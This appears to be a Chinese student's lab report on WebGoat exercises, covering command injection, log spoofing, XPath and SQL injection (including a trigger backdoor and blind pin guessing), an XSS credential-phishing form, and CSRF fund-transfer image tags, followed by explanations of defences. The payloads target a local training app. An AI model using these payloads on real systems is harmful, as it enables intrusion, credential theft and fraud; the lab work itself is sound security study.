java -jar webgoat-container-7.1-exec.jar
localhost:8080/WebGoat
,進入webgoat
開始實驗命令注入攻擊對任何參數驅動的站點都構成嚴重威脅。攻擊背後的方法很容易學習,形成的損害能夠從至關大到徹底的系統妥協。儘管存在這樣的風險,但互聯網上使人難以置信的系統卻容易受到這種形式的攻擊。它不只是一種容易被煽動的威脅,也是一種威脅,只要有一點常識和預先考慮,就幾乎能夠徹底避免。本課將向學生展現參數注入的幾個例子。
清理全部輸入數據,特別是在OS命令、腳本和數據庫查詢中使用的數據是很好的作法。
嘗試向操做系統注入命令。html
嘗試注入netstat -an以及ifconfig這兩個系統命令以獲取本地計算機創建鏈接的IP以及系統的網絡端口使用狀況以及IP地址。在所請求的頁面源代碼中添加"& netstat -an & ipconfig"
如圖所示:java
SELECT * FROM weather_data WHERE station = 101 OR 1=1
,即在查看器中更改代碼以下圖所示:hby%0d%0aLogin Succeeded for username: admin
,其中%0d
是回車,%0a
是換行符。題目要求是使用賬戶Mik/Test123,目標是試着去查看其餘員工的數據。web
使用一個普通的用戶名和密碼,XPath會起做用,可是攻擊者可能會發送一個壞用戶名和密碼,並在不知道用戶名或密碼的狀況下,選擇一個XML節點,以下所示:正則表達式
Username: hby' or 1=1 or 'a'='a Password: hby
HBY' OR '1'='1
,也就是當last name爲hby或者1=1時輸出信息,又因爲1=1爲恆等式,因此全部的用戶信息都會被輸出。' or 1=1 --
進行SQL注入,可是登陸失敗。該題目的目的是經過注入語句,瀏覽到本來沒法瀏覽的信息。經過一個普通員工的帳戶larry,瀏覽其BOSS的帳戶信息。sql
咱們先使用上一題的辦法登陸進larry的帳戶。(若是刷新了網頁還須要從新修改最大字符長度哦)數據庫
101 or 1=1 order by salary desc --
,這樣老闆的信息就會被排到第一個:101; update employee set salary=5205
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155205@163.com' WHERE userid = NEW.userid
建立一個後門,把表中全部的郵箱和用戶ID都設爲個人:先輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2333 );
,結果是
Account number is valid.
也就是帳戶有效,再試試101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2444 );
返回了
Invalid account number.
也就是帳戶無效。那麼咱們要找的數就在2333和2444之間了。編程
按照平措同窗的方法設置BurpSuite後獲得最終的結果2364.瀏覽器
hint提示咱們嘗試向搜索字段添加HTML以建立假身份驗證表單。安全
代碼以下:服務器
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
<script>alert("hey guys");</script>
便可。<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
,其中src指向網站的連接,這裏就是本身的這個網站,後面的兩個參數能夠根據紅框中的值據實填寫,而後經過寬高設置成1像素,隱藏掉這個圖片。<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" width="1" height="1">
SQL注入威脅表現形式能夠體現爲如下幾點:
●繞過認證,得到非法權限 ●猜解後臺數據庫所有的信息 ●注入能夠藉助數據庫的存儲過程進行提權等操做
SQL注入攻擊的典型手段
●判斷應用程序是否存在注入漏洞 ●收集信息、並判斷數據庫類型 ●根據注入參數類型,重構SQL語句的原貌 ●猜解表名、字段名 ●獲取帳戶信息、攻擊web或爲下一步攻擊作準備
防護措施:使用正則表達式過濾傳入的參數,字符串過濾,jsp中調用該函數檢查是否包函非法字符。
攻擊原理:XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,因此容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。
防護措施:HttpOnly防止劫取Cookie;輸入檢查通常是檢查用戶輸入的數據中是否包含一些特殊字符,如<、>、'、"等,若是發現存在特殊字符,則將這些字符過濾或者編碼。
攻擊原理:CSRF攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情。
防護措施:驗證HTTP Referer字段;在請求地址中添加token並驗證;在HTTP頭中自定義屬性並驗證。